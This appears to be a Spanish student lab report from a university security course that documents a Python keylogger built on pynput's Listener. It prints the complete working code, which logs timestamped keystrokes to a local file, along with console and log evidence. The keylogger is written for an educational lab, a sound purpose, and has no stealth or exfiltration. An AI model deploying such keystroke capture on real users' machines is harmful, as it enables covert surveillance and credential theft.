

CNO IV

PROGRAMACION WAP

MTRO. SERVANDO LÓPEZ CONTRERAS

**UNIVERSIDAD
POLITÉCNICA**

DE SAN LUIS POTOSÍ

NO PRESIONES

ESC..

TODAVÍA



LUIS FELIPE JARAMILLO BARAJAS - 183559



24 / 08 / 2026



INTRODUCCIÓN

Implementación de un programa basado en event hooks y callbacks que registra eventos de teclado y los asocia a una marca temporal dentro de un entorno de laboratorio controlado.

OBJETIVOS DE LA PRÁCTICA

- Objetivo General: Implementar un programa en entorno controlado para registrar eventos de teclado y comprender su impacto en la ciberseguridad.

Específicos:

01

Modificar código para persistencia.

02

Agregar asociación temporal.

03

Comprobar su funcionamiento..



1. IMPORTACIÓN DE MÓDULOS

- `pynput.keyboard`: Es la librería fundamental de la práctica. Nos proporciona la clase `Listener` (que actúa como el "gancho" o hook del teclado) y la clase `Key` (para identificar teclas especiales como Enter, Shift o Esc).
- `datetime`: Módulo nativo de Python que nos permite acceder al reloj del sistema para extraer la fecha y hora exacta, lo cual es vital para cumplir con el requisito de asociación temporal.

```
1 from pynput.keyboard import Key, Listener
2 from datetime import datetime
3
4 # Archivo local para la persistencia del registro
5 archivo_log = "registro_eventos.txt"
6 contador_evento = 1
7
```

2. CONFIGURACIÓN GLOBAL

- Se declaran variables globales para mantener el orden. `archivo_log` define el destino donde ocurrirá la persistencia de los datos.
- `contador_evento` es un identificador secuencial. Nos permite saber exactamente en qué orden ocurrieron los eventos, dándole trazabilidad a cada pulsación.



3. FUNCIÓN REGISTRAR_EVENTO

```
8  def registrar_evento(accion, tecla):
9      global contador_evento
10
11     # Obtener fecha y hora actual con precisión de milisegundos
12     tiempo_actual = datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
13
14     # Formatear el texto 2026-08-18 12:15:04.215 | PRESS | evento_001
15     entrada = f"{tiempo_actual} | {accion} | evento_{contador_evento:03d} | {tecla}\n"
16
17     # Guardar en el archivo local (Persistencia)
18     with open(archivo_log, "a", encoding="utf-8") as f:
19         f.write(entrada)
20
21     contador_evento += 1
22
23     # Imprimir en consola para verificación en tiempo real
24     print(entrada.strip())
```

- Asociación Temporal: `tiempo_actual = datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]` Aquí se captura la hora del sistema. El formato `%Y-%m-%d %H:%M:%S` crea la estructura de "Año-Mes-Día Hora:Minuto:Segundo". El `.%f` captura los microsegundos, y el `[:-3]` recorta esa cifra para dejar solo milisegundos. Esto es crucial en ciberseguridad para saber cuánto tiempo real pasa entre cada tecla.
- Estructuración (Telemetría): `entrada = f"{tiempo_actual} | {accion} | evento_{contador_evento:03d} | {tecla}\n"` Empaqueta todos los datos en una sola línea de texto estandarizada (conocida como registro o log).
- Persistencia: `with open(archivo_log, "a", encoding="utf-8") as f:` Abre el archivo en modo Append ("a"). Esto es importantísimo de mencionar en tu presentación: el modo append garantiza que los nuevos eventos se escriban al final del documento sin borrar lo que ya estaba guardado en ejecuciones anteriores.

4. FUNCIONES CALLBACKS (ON_PRESS Y ON_RELEASE)

```
26 def on_press(key):
27     try:
28         # Captura de teclas alfanuméricas
29         registrar_evento("PRESS", key.char)
30     except AttributeError:
31         # Captura de teclas especiales
32         registrar_evento("PRESS", str(key))
33
```

```
34 def on_release(key):
35     registrar_evento("RELEASE", str(key))
36
37     # Detener el listener al presionar Esc
38     if key == Key.esc:
39         return False
40
```

- ¿Qué es un Callback? Es una función que no ejecutas tú directamente en el código, sino que el sistema operativo la llama automáticamente cuando ocurre un evento específico (en este caso, presionar o soltar una tecla).
- Manejo de Errores (try... except): Dentro de on_press, el bloque try intenta registrar teclas normales (alfanuméricas). Si el usuario presiona una tecla especial (como Shift o Ctrl), esto generaría un error AttributeError. El bloque except atrapa ese error y registra la tecla especial como texto, evitando que el programa colapse (se cierre inesperadamente).
- Condición de salida: En on_release, si la tecla soltada es Key.esc, la función retorna False. Esto es un mecanismo de seguridad para "matar" el proceso y detener la captura de forma controlada.

5. EL EVENT HOOK (EJECUCIÓN PRINCIPAL)

```
41  # Iniciar el Listener
42  ✓ with Listener(on_press=on_press, on_release=on_release) as listener:
43      | listener.join()
```

- Esta es la línea que "ancla" el programa al sistema. La clase Listener se suscribe a los eventos de hardware del teclado del sistema operativo.
- Se le pasan como parámetros nuestras funciones callbacks.
- El método .join() indica que el programa principal debe "pausarse" y quedarse escuchando infinitamente en segundo plano hasta que el Listener sea detenido (lo cual ocurre cuando presionamos Esc).

FUNCIONAMIENTO Y ALMACENAMIENTO DE INFORMACIÓN

EVIDENCIA DE EJECUCIÓN DE CONSOLA

EVIDENCIA DEL ARCHIVO REGISTRO_EVENTOS.TXT

```
actividad03_keylogger.py X
C: > Users > lufei > OneDrive - Universidad Politécnica de San Luis Potosí > Documents > SEMESTRE 7 > CNOIV_Seguridad informatica > Actividad3 > actividad03_keylogger.py > on_press
1 from pynput.keyboard import Key, Listener
2 from datetime import datetime
3
4 # Archivo local para la persistencia del registro
5 archivo_log = "registro_eventos.txt"
6 contador_evento = 1
7
8 def registrar_evento(accion, tecla):
9     global contador_evento
10
11     # Obtener fecha y hora actual con precisión de milisegundos
12     tiempo_actual = datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
13
14     # Formatear el texto 2026-08-18 12:15:04.215 | PRESS | evento_001
15     entrada = f"{tiempo_actual} | {accion} | evento_{contador_evento:03d} | {tecla}\n"
16
17     # Guardar en el archivo local (Persistencia)
18     with open(archivo_log, "a", encoding="utf-8") as f:
19         f.write(entrada)
20
21     contador_evento += 1
22
23
24 2026-08-24 22:32:36.722 | RELEASE | evento_020 | Key.esc
PS C:\Users\lufei\AppData\Local\Programs\Microsoft VS Code> & C:\Users\lufei\AppData\Local\Python\pythoncore-3.14-64\python.exe "c:/Users/lufei/OneDrive - Universidad Politécnica de San Luis Potosí/Documents/SEMESTRE 7/CNOIV_Seguridad informatica/Actividad3/actividad03_keylogger.py"
2026-08-24 22:33:00.138 | PRESS | evento_001 | h
2026-08-24 22:33:00.250 | RELEASE | evento_002 | 'h'
2026-08-24 22:33:00.316 | PRESS | evento_003 | o
2026-08-24 22:33:00.403 | RELEASE | evento_004 | 'o'
2026-08-24 22:33:00.491 | PRESS | evento_005 | l
2026-08-24 22:33:00.622 | RELEASE | evento_006 | 'l'
2026-08-24 22:33:00.688 | PRESS | evento_007 | a
2026-08-24 22:33:00.831 | RELEASE | evento_008 | 'a'
2026-08-24 22:33:03.581 | PRESS | evento_009 | Key.esc
2026-08-24 22:33:03.738 | RELEASE | evento_010 | Key.esc
PS C:\Users\lufei\AppData\Local\Programs\Microsoft VS Code>
```

```
registro_eventos.txt
Archivo Editar Ver
H1
2026-08-24 22:32:27.777 | RELEASE | evento_013 | ':'
2026-08-24 22:32:27.922 | RELEASE | evento_014 | Key.shift
2026-08-24 22:32:31.842 | PRESS | evento_015 | Key.shift
2026-08-24 22:32:32.058 | PRESS | evento_016 | )
2026-08-24 22:32:32.183 | RELEASE | evento_017 | ')
2026-08-24 22:32:32.257 | RELEASE | evento_018 | Key.shift
2026-08-24 22:32:36.581 | PRESS | evento_019 | Key.esc
2026-08-24 22:32:36.722 | RELEASE | evento_020 | Key.esc
2026-08-24 22:33:00.138 | PRESS | evento_001 | h
2026-08-24 22:33:00.250 | RELEASE | evento_002 | 'h'
2026-08-24 22:33:00.316 | PRESS | evento_003 | o
2026-08-24 22:33:00.403 | RELEASE | evento_004 | 'o'
2026-08-24 22:33:00.491 | PRESS | evento_005 | l
2026-08-24 22:33:00.622 | RELEASE | evento_006 | 'l'
2026-08-24 22:33:00.688 | PRESS | evento_007 | a
2026-08-24 22:33:00.831 | RELEASE | evento_008 | 'a'
2026-08-24 22:33:03.581 | PRESS | evento_009 | Key.esc
2026-08-24 22:33:03.738 | RELEASE | evento_010 | Key.esc
Ln 1, Col 1 | 9,930 caracteres. | Texto sin formato
ers\lufei\AppData\Local\Programs\Microsoft VS Code> & C:\Users\lufei\AppData\Local\Python\pythoncore-3.14-64\python.exe "c:/Users/lufei/OneDrive - Universidad Politécnica de San Luis Potosí/Documents/SEMESTRE 7/CNOIV_Seguridad informatica/Actividad3/actividad03_keylogger.py"
```


»»» CONCLUSIONES

"La manipulación de eventos a través de callbacks demuestra lo vulnerables que pueden ser las interfaces de entrada si un proceso malicioso obtiene los permisos adecuados. Lograr la persistencia de los datos en un archivo local sin interrumpir el funcionamiento normal del sistema operativo es la base de la recolección de telemetría. Desde la perspectiva de la seguridad informática, entender la construcción de estas herramientas es el primer paso para desarrollar contramedidas efectivas de monitoreo y detección de anomalías."





THANK YOU